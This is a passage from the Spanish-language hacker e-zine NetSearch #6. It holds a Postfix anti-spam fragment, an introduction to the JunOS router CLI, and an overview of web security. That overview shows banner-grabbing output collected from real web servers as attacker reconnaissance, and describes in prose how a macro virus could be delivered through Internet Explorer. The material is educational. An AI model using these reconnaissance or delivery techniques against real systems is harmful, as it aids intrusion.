check_sender_access hash:/etc/postfix/sender_access
check_relay_domains
Ahora crearemos el archivo /etc/postfix/sender_access, que contendra las
direcciones de correo de remite que si pueden mandar correo en caso de
cumplir alguna de las reglas anti spam del servidor.
codex@microwolf.net OK
codex@undersec.com OK
Por supuesto esta no es la mejor de las formas de hacerlo. Lo ideal seria
forzando al usuario a autentificarse.
Una vez creado y grabado el fichero, ejecutaremos: postmap sender_access y se
nos creara el respectivo sender_access.db Ahora lo unico que nos quedaria es
cargar la nueva configuracion y lo conseguimos del siguiente modo:
/etc/init.d/postfix reload
Bueno seÒores, ahora es cuando os toca a vosotros seguir investigando sobre
esto y si teneis oportunidad no dudeis en ponerlo en practica, que es como
mejor se aprenden las cosas. Hasta otra amigos.
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x16 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Introduccion a JunOS ]-==================================================
=-[ por TaSeH ]-=============================================================
====================================
== indice ==
====================================
== ==
== 1.- Introduccion ==
== 1.1.- Juniper Networks ==
== 1.2.- Junos ==
== 2.- JunOS ==
== 3.- CLI ==
== 3.1- Introduccion a CLI ==
== 3.2- øQue es CLI? ==
== 3.3- Manejo basico de CLI ==
== 4.- Comandos y terminaciones ==
== 5.- JunOScript ==
== 6.- Algunos Routers ==
== 7.- Despedida ==
== ==
====================================
1.- Introduccion
================
Hola, soy TaSeH, y creo articulos :PPP, bueno como novato en este mundo no
espereis mucho de este articulo, me refiero a que no espereis cosas tecnicas
sobre JunOS, porque, como su titulo indica, esto solo es una introduccion.
Si el articulo te parece falto de contenidos, no me explico bien en algo o
cosas por el estilo, recurre a el e-mail taseh@gmx.net o a el IRC, suelo
estar por #netsearch. Espero que tengas en cuenta, que soy novato en esto, y
no seas muy critico... :P. Tambien espero que os guste el articulo...
1.1- Juniper Networks
=====================
Juniper Networks es una empresa afincada en Sunnyvale, California, presidida
por Scott Kriens y su fin es el de acabar con el monopolio de cisco en
fabricacion y venta de routers y otros dispositivos de red.
Juniper Networks es el resultado de inversiones de 3Com, Nortel, Ericsson y
Siemens/Newbridge... entre otras empresas de gran capital, todos con un
interes comercial. Por ejemplo, Ericsson, quiere apoyo de Juniper Networks
para sus infraestructuras de internet movil, etc...
Fundada en 1996 en California, no fue sino hasta 1998 que esta firma lanzo su
producto base: el router M40 para backbone. El 25 de junio de 1999 la empresa
comenzo a cotizar en la bolsa de Nueva York, con una valuacion de 34 dolares
por accion. Su crecimiento fue tal que para septiembre de 2000, el precio
trepo a 244 dolares. Gracias a las ventas de los primeros seis meses del aÒo
pasado escalo 54 posiciones en la lista de las Silicon Valey 150, para
colocarse en el numero 87.
Esto no fue la unica razon para que su nombre apareciera en el candelero;
ayudo su avance en el terreno de los routers IP y el hecho de arrebatar parte
de la participacion de mercado de Cisco. Aunque sus productos resultan ser
mas costosos, ofrecen mayores velocidades de acceso, una caracteristica
apreciada por las empresas de telecomunicacion, ISP y carriers. Esta ventaja
le ha permitido un crecimiento de 22% en el mercado mundial de los routers,
en tanto Cisco ha visto decrecer su participacion de 80% a 75%. Los analistas
esperaban que para finales del 2000 Juniper tuviera 25% del mercado de
routers, con ventas de 500 millones de dolares y utilidades por 100 millones
de dolares.
1.2.- øQue es JunOS?
====================
- Junos: "Dios Romano de dos cabezas, una que miraba atras para el aÒo que
habia pasado, y la otra adelante hacia el nuevo aÒo".
El junos sobre el que trata este articulo, es mucho mas moderno, no es
romano, si no yanqui, y no es ningun dios. Junos es un sistema operativo para
routers Juniper, o como lo llaman sus propios creadores "software para
internet".
2.- JunOS
=========
Bueno, no voy a hablar de caracteristicas tecnicas de JunOS, prefiero hablar
de su manejo. Para manejar JunOS, podemos recurrir a la CLI, o a JunOScript.
De esto hablaremos un poco mas abajo...
3.- CLI
=======
3.1- Introduccion
=================
Junos es una version de Unix BSD, pero no es necesario conocer Unix para
manejarlo, ya que, si bien es posible acceder a este sistema, toda la gestion
de router se hace desde un entorno especifico, el CLI, mucho mas facil de
manejar y desde el cual se tiene acceso a todas las herramientas de
depuracion y al editor que permite modificar la configuracion por medio de
unos sencillos comandos de facil utilizacion.
3.2- øQue es CLI?
=================
Posiblemente alguien piense que CLI es un diminutivo de Clippo, esa estupida
"mascota" de office, creada por los habiles ingenieros de Microsoft... Pues
no, gracias a Dios, CLI no tiene que ver nada con tal pesadilla. CLI
significa "Command Line Interface", que en espaÒol significa algo como
"Interfaz de la Linea de Comandos".
CLI, es el lazo de union entre nuestro router y nosotros, es una herramienta
imprescincible para imperar a la maquina. Es como un lenguaje, un idioma que
solo sabemos interpretar nosotros y la maquina. JunOS, presenta muchas
mejoras en relacion al IOS de cisco, entre ellas esta la facilidad de uso de
CLI. Aunque las primeras versiones de JunOS fueran muy por debajo del IOS,
ahora lo superan con creces.
3.3- Manejo de CLI
==================
El manejo de la linea de comandos de JunOS, es facil, hasta un niÒo pequeÒo
podria ponerse a manejar JunOS perfectamente.
El CLI es indicado por la presencia de el prompt ">", precedido por el nombre
de usuario, y el nombre del router, por ejemplo:
user@host>
Si estas pensando... Que feo es el prompt... Haz como yo, cada vez que
inicias una sesion en Junos escribe los siguiente...
user@host> set cli prompt TaSeH@EsDios>
y como prompt nos quedara esto...
TaSeH@EsDios>
...Bonito eh?
A partir de que aparezca el simbolo del sistema, ya podemos teclear los
comandos que queramos ejecutar, siempre con la misma sintaxis:
user@host> [Comando]+[Terminacion]+[Terminacion]+...(Si es necesario)
En algunos casos, no es necesario introducir tantas terminaciones, tambien a
veces es necesario introducir datos. Si estamos empezando a familiarizarnos
con JunOS, seria bueno que detras de cada comando y/o terminacion,
escribieramos un espacio y "?", para ver las posibles opciones que hay a
nuestra disposicion.
- Ejemplo al canto:
Command: file ?
Possible completions:
copy Copy files (local or remote)
delete Delete files from the system (local)
list List file information (local)
rename Rename files (local)
show Display file contents (local)
En junos no necesitaremos la tecla <Enter> para nada, todo es mucho mas
facil...
Si con la nostalgia de la tecla <Enter> a veces la tecleamos sin querer nos
aparecera algo como esto:
syntax error, expecting <command>. o algo parecido..
Es como si te diera una colleja, para que te des cuenta de que has pulsado
<Enter> :).
Con solo saber esto, ya puedes manejar junos. ;).
4.- Comandos y terminaciones
============================
Para manejar JunOS, es necesario tener cierta una idea de como funciona la
interfaz de la linea de comandos, tambien es muy util saber como son los
comandos. Bueno, pues he decidido poner aqui la lista de comandos y
terminaciones primarias. No he decidido traducir las explicaciones, debido a
que asi es como os va a aparecer en JunOS.
Este es el listado de comandos y sus terminaciones primarias:
============================================================================
Comando: ?
Posibles terminaciones:
file Perform file operations
help Provide help information
quit Exit the management session
request Make system-level requests
set Set CLI properties, date, time, craft display text
show Show information about the system
test Diagnostic debugging commands
Comando: file ?
Posibles terminaciones:
copy Copy files (local or remote)
delete Delete files from the system (local)
list List file information (local)
rename Rename files (local)
show Display file contents (local)
Comando: help ?
Posibles terminaciones:
reference Reference material
topic Help for high level topics
Comando: request ?
Posibles terminaciones:
message Send a text message to other users
Comando: set ?
Posibles terminaciones:
cli Set CLI control flags
Comando: show ?
Posibles terminaciones:
aps Show APS information
arp Show system ARP table entries
as-path Show table of known AS paths
bgp Show information about BGP
chassis Show chassis information
cli Show command-line interface settings
configuration Show configuration file contents
connections Show CCC connections
dvmrp Show information about DVMRP
firewall Show firewall counters and information
igmp Show information about IGMP
ilmi Show ILMI information
interfaces Show interface information
isis Show information about IS-IS
ldp Show information about LDP
mpls Show information about MPLS
msdp Show information about MSDP
multicast Show multicast information
ntp Show Network Time Protocol information
ospf Show information about OSPF
pfe Show packet forwarding engine data
pim Show information about PIM
policy Show policy information
firewall Show firewall counters and information
igmp Show information about IGMP
ilmi Show ILMI information
interfaces Show interface information
isis Show information about IS-IS
ldp Show information about LDP
mpls Show information about MPLS
msdp Show information about MSDP
multicast Show multicast information
ntp Show Network Time Protocol information
ospf Show information about OSPF
pfe Show packet forwarding engine data
pim Show information about PIM
policy Show policy information
rip Show information about RIP
route Show routing table information
rsvp Show information about RSVP
sap Show session advertisement addresses
snmp Show SNMP information
system Show system information
task Show routing protocol per-task information
ted Show information about TED
version Show software process revision levels
vrrp Show VRRP information
Comando: test ?
Posibles terminaciones:
interface Interface test commands
msdp MSDP Peer debugging
policy Import and export policy evaluation
============================================================================
Este es el listado de comandos, sin todas las terminaciones, y sin traducir.
Si te interesa el tema, puedes mandarme un e-mail pidiendome que te envie la
lista completa de comandos y terminaciones, o pidiendome los comandos en
espaÒol, pero como el articulo no pretende ser tecnico, solo una
introduccion, he decidido no meter mucho rollo para no aburrir a demasiada
gente... :PPPP.
Si deseas practicar un poco, no tienes mas que acceder a la siguiente
direccion, haciendo telnet, o mediante ftp:
==========================================================
== olive.labs.pulltheplug.com - (209.9.44.209) ==
== Juniper Router - JUNOS 4.4R1.5 - l/p : guest/guest ==
==========================================================
- Para mas info visita http://www.pulltheplug.com.
5.-JunOScript
=============
5.1.- øQue es JunOScript?
JunOScript es una API, en XML, que sirve para comunicarnos con el router con
el que estemos trabajando. Como este articulo es una introduccion, no voy a
meter mucho rollo. Si sabes programar en XML, observaras que es un lenguaje
muy agil en cuanto a la relaccion cliente-servidor, en este caso, relaccion
router-usuario, por lo tanto muy apto para la finalidad que buscan los
ingenieros de Juniper Networks.
CLI:
show bgp neighbor 10.168.1.112
JunOScript:
<rpc>
<get-bgp-neighbor-information>
<neighbor-adress>10.168.1.112</neighbor-adress>
</get-bgp-neighbor-information>
</rpc>
5.1.- Perl Scripting con JUNOScript.
====================================
Muy facil, crear un cgi escrito en Perl que de salida a un documento XML, que
la maquina interpretara. Visitar www.juniper.net... y ya me rallo...
6.- Algunos routers
============================
Bueno, he decidido poner una pequeÒa lista de routers Juniper, para que veais
un poco, como son, alguna caracteristica, etc... Hay distintas versiones de
JunOS, en funcion del router que se este usando, esto tambien es una ventaja
en relacion a cisco.
M5 y M10: Se consideran la gama baja de routers Juniper, estan hechos
para trabajar a 5Gbps y 10Gbps respectivamente.
M20: Bueno... este router es lo standard,
M40: Fue el primer router que puso a la venta Juniper Networks, nah, como
bien dice su nombre designado pa trabajar con 40Gbps. Juniper, provee
de esos routers a empresas importantes como NOOS, o tiscali.
M160: El super router, el producto estrella, designado para grandes y
potentes redes, fibra optica y tal... Se estan adquiriendo muchos de
este tipo para la red europea de fibra optica
Si quieres mas informacion sobre estos routers, hay un pdf con las
caracteristicas de cada uno en la web de Juniper Networks.
7.-Despedida
============
Si tienes alguna sujerencia, queja, felicitacion, peticion, o insulto
especialmente reservado para mi, hazmelo saber a traves de mi e-mail:
taseh@gmx.net.
Hasta el proximo articulo, espero seguir escribiendo para NetSearch, y para
vosotros, los que me leeis. Este es el comienzo de una gran amistad xDDD.
Saludos a QuasaR, RaiSe, Sp4rK... y a todo el staff de NetSearch en general.
Saludos tambien a la gente de Disidents, ya mucha, mucha gente que todavia no
conozco, pero, espero conocer y hacer buenos amigos... Un saludazo a
{^DaNi^}, que sabe mucho de todas estas cosas... ;).
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x17 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Seguridad en la WWW ]-===================================================
=-[ por Memonix ]-===========================================================
--[1]-- Introduccion
Este articulo pretende tratar de dar los conceptos generales sobre temas de
seguridad referentes a la WWW, aunque se ha de recordar que todos los puntos
tratados en este documento se ven desde una perspectiva general ya que cada
uno de ellos seria suficiente para hacer un documento entero, a la vez que
hay muchos temas que no seran tratados.
Los problemas de seguridad de la WWW se podria decir que son de los mas
interesantes, ya que estos mismos se extienden a mas gente que otros
protocolos, debido a que para la mayoria de la gente Internet es la
Web. Los servidores Web estan continuamente en peligro, expuestos a robo
de informacion como a destruccion de ficheros siendo uno de los blancos
preferidos por los intrusos.
A su vez estos servidores ofrecen nuevos servicios a la gente mediante
el uso de CGI scripts, los cuales suelen ser escritos por programadores
expertos pero no muy habiles en temas de seguridad, siendo estos una de
las principales fuentes de quebraderos de cabeza.
En terminos generales se podria hablar de 3 causas de los fracasos
en Internet referentes a la seguridad:
1. La falta de uso de criptografia apropiada
2. Fallos en el codigo de los programas
3. Errores de configuracion
Este pequeÒo resumen viene a explicar la gran verdad de que "la seguridad
esta condenada a fallar", ya que cuestiones como el punto 2 estan mas
alla de nuestras posibilidades como simples usuarios, mientras que
cuestiones como la 1 se escapan del control de los administradores de
los servidores y sistemas, debido a que no pueden controlar la conducta
de sus usuarios, siendo para estos ultimos muy facil el no hacer caso.
Para empezar a trazar un plan de defensa ,hay que decidir que estas
protegiendo y su precio, al igual que saber quienes son realmente los
enemigos; se podria decir que una de las mejores estrategias es una
mezcla de seguras tecnicas de control y el poder proporcionar una buena
educacion en cuestiones de seguridad a los usuarios, intentando evitar
la proliferacion de usuarios desprevenidos los cuales suelen seguir
instrucciones al pie de la letra para mismamente descargar un programa
de internet regalando a menudo sus claves; pero no siempre hay que
seguir instrucciones para estar en peligro, ya que a veces el peligro
viene con la forma de un navegador con componentes por defecto inapropiados
como pudiera ser la ejecucion automatica de java, podremos ver bonitas
animaciones pero pueden ocurrir extraÒos sucesos a nuestras espaldas.
Desde el punto de vista de la seguridad Java es demasiado complejo y como
resultado ha tenido varios fallos, (complejidad y seguridad no se llevan
bien), lo que puede llevar a la existencia de "grietas" que viene a
unirse al hecho de que los servidores web son muy complejos tanto para
programadores como administradores, siendo una de las mejores soluciones
el uso de la criptografia la cual protege sin dar muchos problemas, aunque
algunos protocolos criptograficos han tenido fallos tambien.
En cuanto a este tema los servidores y exploradores la han usado teniendo
en algunos paises restricciones del gobierno en cuanto al tamaÒo de la
clave, habiendo habido fallos que han permanecido durante aÒos.
--[2]-- Un poco de historia
Pero no por ello todo son desgracias ya que hay muchas formas de establecer
una web segura, estableciendo permisos de ficheros, mediante certificaciones
criptograficas de autorizacion, etc. Ante este escenario muchos se
preguntaran de el porque de tantos fallos, lo cual tiene una sencilla
explicacion.
El rapido crecimiento de Internet hizo que la seguridad fuese aÒadida
como algo adicional, sin prestarle demasiada importancia, donde las
actuales amenazas fueron introducidas a lo largo de cada una de las
distintas fases de su desarrollo y los errores previos no siempre fueron
corregidos; se podria decir que la Web ha heredado todos los fallos de
seguridad de internet, ya que sus desarrolladores se precipitaron
creando un rico entorno pero pasando por alto vulnerabilidades.
La verdad es que los fallos de los principios de la web al interactuar
con antiguas y modernas caracteristicas de la misma hacen que aumenten los
peligros; antiguamente y aun hoy en dia, se podia falsificar correo
conociendo el protocolo SMTP, los servidores ftp dejaban el sistema de
archivos completamente vulnerable, con telnet las contraseÒas eran
transmitidas sin ningun tipo de proteccion, habia fallos en la
implementacion del protocolo TCP/IP que permitian crear direcciones ip
falsas (lo cual era muy util ya que muchas aplicaciones usaban esa
informacion para autentificarse), averiguando el numero de secuencia TCP se
podia espiar una conexion o uno de los ataques mas interesantes ,el DNS
Spoofing mediante el cual si se conseguia alterar la direccion ip asignada a
un nombre de servidor se podia hacer pasar por el. Pues bien toda esta
coleccion de fallos esta todavia presente en nuestros dias, a pesar de que
es conocida desde hace mucho, lo que nos da una idea de la importancia
que se le asigno a la seguridad en aquellos lejanos tiempos.
Pero sin duda alguna la mayor amenaza reside en el entorno homogeneo
del cliente y el servidor, ya que usan los mismos programas y protocolos,
lo que hace Internet posible constituye su mayor debilidad toda una
paradoja, y un buen ejemplo de ello fue el archifamoso gusano de Morris el
cual aprovechando un fallo en el demonio fingerd infecto miles de
ordenadores de todo el mundo, tambien debido en gran parte a que es
imposible eliminar todos los fallos de programacion en los programas grandes
tipo sendmail el cual se ejecuta con privilegios del sistema, habiendosele
encontrado fallos en los ultimos 10 aÒos.
Por lo tanto la introduccion del protocolo HTTP y del formato HTML han
aÒadido nuevas amenazas a las ya existentes, ya que ahora un fallo en
Netscape afectaria a mas ordenadores que si hubiese existido en la epoca
del gusano de Morris. Dentro de estas nuevas amenazas nos encontramos con
los CGI scripts que introducen nuevos y serios asuntos de seguridad, estos
mismos sirven para procesar la informacion que facilitamos en el servidor,
pero con ellos los usuarios pueden crear sus propios fallos para usarlos
contra la gente, se suelen ejecutar con privilegios lo que les da el
control del servidor; algunos de estos scripts tienen fallos que pueden
ser explotados por algun cliente para comprometer al servidor, ya que
algunos mandan los datos de entrada directamente al interprete de comandos,
lo que podria llevar a poder ejecutar codigo arbitrario en el servidor,
obtener informacion de correo privado, cambiar datos en la maquina, cerrar
el servidor teniendo que ser reiniciado, etc.
--[3]-- Problematica Cliente - Servidor
Una vez que se han ejecutado scripts en el servidor, el siguiente
paso es ejcutar scripts en el cliente, ya que una forma de reducir la carga
en un servidor es mandar scripts a todos sus clientes para que
los ejecuten localmente, siendo el ejemplo mas general los scripts en java
lo que nos lleva al peligroso concepto de ejecutar codigo de una
localizacion arbitraria ya que hay formas de romper el chequeo de
verificacion para permitir ejecutar codigo arbitrario y todo esto aunque
los creadores de java se esforzaron en la seguridad desde el principio es
una realidad, pero la cuestion es que un cliente web que corra con java
activado es vulnerable a ser atacado y esta opcion suele estar
"sorprendentemente" activada por defecto.
Pero no solo esta java como una posible amenaza, tambien nos podemos
encontrar con Javascript, el cual resulta ser todo un problema para poder
ser identificado por los firewalls, siendo mas dificil de bloquear ademas
de que en cuestiones de seguridad ha sido menos estudiado que java; tambien
existen lenguajes de script como activeX o Inferno (al igual que el s.o) que
se encuentra en desarrollo por parte de los Laboratorios Bell, toda una
maraÒa en la que no es dificil perderse.
Las principales amenazas ante las que nos podemos encontrar pueden ser
clasificadas de una forma bastante general en:
a)Integridad: modificacion de datos, programas tanto del usuario como del
servidor, pudiendo tomar el control del ordenador; una posible solucion
seria usar una llave criptografica de chequeo, Message Authentication
Codes (MACs).
b)Confidencialidad: robo de informacion del cliente, servidor, configuracion
de la red, etc. Usando la Web esta informacion esta en peligro, ya que
casi todos los exploradores tienen un cache con los sitios visitados, lo
cual se podria resolver mediante la encriptacion y el uso de web proxies.
c)DoS: impedimiento de acceso a recursos, mediante Dns Spoofing se puede
aislar a un host reencaminando todos sus paquetes, hay algunos tipos de
ataque faciles de hacer como el bombardeo mediante paquetes lo que llevaria
a un gran gasto de la CPU al tener que procesar continuamente mensajes
basura, un servidor puede ser desbordado con peticiones y el servicio para
los usuarios legitimos se retrasa o anula ya que algunos servidores limitan
el numero de conexiones simultaneas, tambien se podria conseguir rellenando
el disco o la memoria del ordenador atacado.
d)Autentificacion: suelen estar basados en la direccion ip, ya que hay
metodos para suplantarlas, habiendo tambien a su vez protocolos
criptograficos vulnerables a estos ataques, aun asi la mejor solucion
es el uso de tecnicas criptograficas.
Pero no acaba aqui todo ya que hay mas tipos de amenazas un poco mas
dificiles de definir, por ejemplo se pueden adquirir nombres de dominio
como www.ibn.com o www.whitehouse.org (la verdadera es .com) ,que pueden
servir para robar clientes o mandar a posibles victimas mediante un link
a una web bajo el control del atacante sin necesidad de falsificar ningun
nombre de dominio.
Otro ataque de denegacion de servicio mas peligroso que los anteriormente
mencionados y mas dificil de detectar, seria "matar" un pequeÒo numero
de paquetes entre el ordenador blanco y otra maquina ,siendo el efecto una
conexion muy lenta ya que los protocolos de alto nivel retransmitirian
estos paquetes ,siendo atribuida esta lentitud a redes lentas o a
ordenadores ocupados.
En cuanto a cuestiones de privacidad, al conectarnos a una web esta tiene
bastante informacion acerca de nosotros, para esto hay sitios como
www.anonymizer.com que actuan como proxy pero solo te protegen ante el
destino final, el cual veria que alguien quiere conectar desde anonymizer,
pero el trafico entre tu ordenador y anonymizer seguiria conteniendo
la informacion de los sitios en los que has estado.
Otros peligros ya mas referentes al explorador, serian leer correo desde
el mismo lo cual es una imprudencia, por ejemplo si un atacante descubriese
un nuevo fallo en java y quisiera obligar a un usuario a ejecutar un script
maligno, podria meter el applet en una web y enviarnosla y el explorador
la ejecutaria automaticamente. Otra cuestion seria la de no aceptar nunca
bajar automaticamente las actualizaciones de los programas, ya que mediante
un ataque de DNS se podria contactar con la maquina del atacante bajando
una version del programa con un troyano, lo cual se evitaria con el uso de
firmas digitales.
A su vez toda persona que desee establecer una pagina web, debe de intentar
conocer las ventajas e inconvenientes de todos los servidores web que hay
en el mercado para aprender sobre los fallos que son mas comunes en estos a
la vez que se ha de preocupar para configurar este mismo de la mejor forma
posible, intentando ofrecer solo los servicios imprescindibles. Un aspecto
muy importante es el ir actualizando los servidores segun se van sacando
parches para vulnerabilidades conocidas, ya que un atacante podria hacer
algo tal que asi :
[memonix@ragnarok memonix]$ ./quehttpd www.microsoft.com
Que httpd V 0.1.1-Revision is part of the Lorian Project.
Coded at "The Lorian Project"
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 17 May 2001 21:41:59 GMT
Connection: close
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Cache-Control: private
[memonix@ragnarok memonix]$ ./quehttpd www.phpnuke.org
Que httpd V 0.1.1-Revision is part of the Lorian Project.
Coded at "The Lorian Project"
HTTP/1.1 200 OK
Date: Thu, 17 May 2001 14:34:59 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk)
mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close
[memonix@ragnarok memonix]$ ./quehttpd www.nsa.gov
Que httpd V 0.1.1-Revision is part of the Lorian Project.
Coded at "The Lorian Project"
HTTP/1.1 200 OK
Date: Thu, 17 May 2001 21:56:58 GMT
Server: Apache/1.3.11 (Unix)
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close
Donde un atacante no tendria nada mas que comprobar que dicha version no
contiene ninguna vulnerabilidad la cual podria estar sin parchear, lo que
le facilitaria el trabajo en gran parte.
--[4]-- Distribucion de software seguro
Ante estos problemas de la distribucion de software seguro en internet
hay soluciones, algunas mas complicadas como seria que el distribuidor
hiciese firmas digitales para todos los ficheros, lo que seria algo complejo
ya que necesitaria toda una infraestructura de llave publica; otra
solucion al problema seria Betsi, una clave publica la cual ha sido
diseÒada por expertos como Phil Zimmermman el autor de PGP y con la
colaboracion de grandes empresas como Netscape, Betsi requiere que los
usuarios obtengan software criptografico como PGP y MD5.
El metodo a seguir seria el siguiete, los autores se registrarian con Betsi
y ofrecerian Betsi con una llave publica, luego Betsi verificaria su
identidad; una vez que los autores se han registrado pueden comunicarse
seguramente porque ellos pueden repartir copias validas a otras llaves
publicas; cuando se tiene un fichero que distribuir el crea un certificado
de peticion para el fichero, la solicitud contendra detalles como el nombre
del autor, del fichero a ser certificado, etc. Entonces el autor firmaria
la peticion con su clave privada y la mandaria a Betsi. Un ejemplo de una
peticion seria:
- - - - - BEGIN PGP SIGNED MESSAGE - - - - -
Author Name:Some Author
Author Organization:Software Company, Inc.
Hash function:MD5
Date of certificate creation:12/20/00
fef16954e74a219b1bcg67f22511b25 distribution.tar.Z
e2ab456tdb50ce66e44db501b33ef12 archive.tar.Z
- - - - - BEGIN PGP SIGNED MESSAGE - - - - -
Version:2.6.3
iQcsDergYg9 / ZcZbZbmffgfAQVG / hjuYGF89v7Qtu66HjuYT22
gjhkioYhj955pOlkiUY78VFQ89 / kuujGG 988jNH76GHy557YujI9
76HJybj5gjTUjh8jhjj987JHJHG87yj25koyh+kk98JUHy654GHbcd5
00Ghyd8H80=
=2Y8u
- - - - - END PGP SIGNATURE - - - - -
Betsi recibiria el mensaje y verificaria la firma asegurandose de que es
autentico, pudiendo detectar cualquier modificacion del mensaje.
Betsi responde al autor con un certificado de integridad digital diciendo
que el nombre del autor esta registrado y que ha solicitado un certificado
seguro de enlace a los archivos.
Un ejemplo de un certificado seria:
- - - - - BEGIN PGP SIGNED MESSAGE - - - - -
Betsi Certificate
CA:Betsi Version 1.0
Author Name:Some Author
Author Organization:Software Company, Inc.
Hash function:MD5
Date of certification creation:5/10/00
fef16954e74a219b1bcg67f22511b25 distribution.tar.Z
e2ab456tdb50ce66e44db501b33ef12 archive.tar.Z
- - - - - BEGIN PGP SIGNATURE - - - - -
Version:2.7
Yunn87bgY / ju87JijhJHG789Mko00FGY65bH09 / k98IKJ78Hgg
Kio09Jhgb675Bh89Kij89 / jiu+00Juyh7UHjhUghhB76700LLpYU
GHJ88Ikbh89j7hKKLFF00Mji98bvHJ76nbJLLpmKK8800GfFF / Juh
ju78HGt=
=pYLY
- - - - - END PGP SIGNATURE - - - - -
El autor verifica que el certificado es correcto y que la firma ha sido
verificada. Entonces se hace disponible la distribucion de los
archivos. El usuario puede comprobar que los ficheros no han cambiado
verificando el certificado de integridad con la clave publica de Betsi.
Otras soluciones pueden ser proporcionadas por mecanismos como Authenticode
de Microsoft o Cryptolopes de IBM.
--[5]-- Exploradores
En la mayoria de los exploradores las opciones de configuracion se almacenan
en un unico fichero organizado por modulos, lo que supone un riesgo ya que
si un atacante puede modificarlo tendria pleno control sobre cuestiones tan
importantes como SSL, pudiendo por ejemplo hacer que el explorador usase una
version mas debil del protocolo que la que el usuario habia especificado.
Otras malas ideas que pueden conllevar que nuestra seguridad sea rota son
por ejemplo activar las opciones de recordar las contraseÒas de acceso al
servidor, aceptar cookies por defecto, almacenar las paginas que han sido
recibidas mediante SSL ya que el atacante al reemplazar todos los
certificados en el disco local estaria minando SSL totalmente.
Respecto a los lenguajes Java y Javascript en el caso de Netscape estan
habilitados, lo cual es una de las peores decisiones de Netscape en cuanto a
seguridad, ya que tiene demasiados fallos de seguridad como para ejecutar
codigo sin confianza en internet; una buena idea seria permitir unicamente
los applets firmados con una llave privada donde la publica fuese
suministrada por el usuario, la unica pero gran pega a esta solucion es que
necesitaria que los usuarios tuviesen un nivel de conocimientos no muy
aproximado al que posee realmente la gente en general.
En cuanto al Internet Explorer se podria decir que tienen una ventaja
sobre Netscape y es que los usuarios de IE lo son seguramente tambien de
Windows, por lo que interactuan entre si de una forma mas facil que Netscape
con cualquier otra plataforma en la que corra.
Otro tema interesante es el de los controles ActiveX que son componentes de
software incluidos en las webs; cuando se visita una web que los usa estos
controles son bajados automaticamente y instalados en el cliente mediante
un tipo especial de certificado. Sorprendentemente la opcion por defecto
suele estar activada para permitir ejecutar tanto componentes de ActiveX
como programas de Java, estando otra vez la conveniencia por encima de la
seguridad.
IE tambien dispone de un establecimiento de los niveles de seguridad,
aunque estos a la hora de la verdad afectan poco a la seguridad, lo que
crea una falsa sensacion de seguridad en los usuarios que les puede llevar
a cometer mas imprudencias de las aconsejables.
Centrandonos mas en cuanto a posibles amenazas, IE puede ser usado para
propagar virus, un ejemplo podria ser un atacante el cual ha creado un
documento de Word con un virus de macro en su interior, llamandose el
archivo por ejemplo regalo.dot, renombrandolo mas tarde a regalo.class,
despues de esto lo meteria en una web poniendo un enlace a este archivo y
redireccionando la pagina a otra despues de x segundos, la victima al
visitar la web y ir al enlace que lleva al archivo veria como este mismo no
se ejecutaria como un programa java debido a que el formato es erroneo, pero
el archivo en cuestion se guardaria en el disco de la victima, llegado a
este punto el redireccionamiento tendria lugar y la victima llegaria a la
nueva pagina, la cual tendria un enlace que apuntaria al archivo en cuestion
guardado en el disco, el explorador reconoceria el contenido y ejecutaria
automaticamente el Word y la macro infectada se ejecutaria.
Para finalizar y para aguar un poco la alegria a los usuarios de IE, habria
que decir que lo dicho anteriormente en este apartado sobre IE de que
Microsoft tenia una cierta ventaja sobre Netscape no es del todo cierto,
ya que Netscape tiene a su vez una cierta ventaja sobre IE en ordenadores
con Windows, ya que al haber sido escritos por los mismos desarrolladores
estos han explotado llamadas al sistema y otras caracteristicas de Windows
que no estan disponibles para otros desarrolladores, por lo que la
estrecha "relacion" existente entre entre el explorador y el sistema
operativo hacen posible la existencia de agujeros los cuales no afectarian
a los usuarios de Netscape.
--[6]-- Cookies
Los exploradores suelen almacenar cookies en la maquina del cliente, siendo
estos un grupo de atributos que pueden ser aÒadidos en la respuesta HTTP del
servidor.
Cuando un cliente solicita una URL el explorador comprueba si hay cookies
almacenados correspondientes a esa localizacion, y en el caso de que sean
encontrados son mandados junto con la peticion ya que contienen informacion
importante para el servidor sobre el cliente, teniendo por lo tanto muchas
posibles aplicaciones para los intereses del servidor y siendo tambien util
para reducir la carga en el servidor ya que este no tiene porque almacenar
todos los cookies.
Como se puede apreciar los cookies suponen una amenaza contra la privacidad
de los usuarios, se podria desabilitar esta opcion en el explorador pero nos
encontramos con numerosos sitios que mandan multiples cookies cada cierto
intervalo de tiempo, no dejando visualizar correctamente la web si estos no
son aceptados por el cliente.
Hay ciertos limites en cuanto a los cookies:
- 300 cookies como maximo puede almacenar el cliente
- 4 KB por cookie, es el tamaÒo maximo
- 20 cookies por servidor o dominio
Los cookies son mandados al cliente cuando se ha ejecutado un script en el
servidor, conteniendo una cabecera Set-cookie la cual contiene cinco valores
siendo solo el primero obligatorio, siendo de la forma.
Set-cookie: NAME=VALUE; expires=DATE; domain=DOMAIN_NAME; path=PATH; secure
El proceso seria de la siguiente forma:
1. El cliente solicita un archivo de un servidor, la respuesta contiene la
cabecera
Set-Cookie: User=Memonix; path=/; expires=Monday; 13-Dec-2001 8:15:00
2. El cliente almacena el cookie en su HD
3. El cliente mas tarde vuelve al mismo servidor para acceder a otro archivo
donde el explorador mandaria
Cookie: User=Memonix
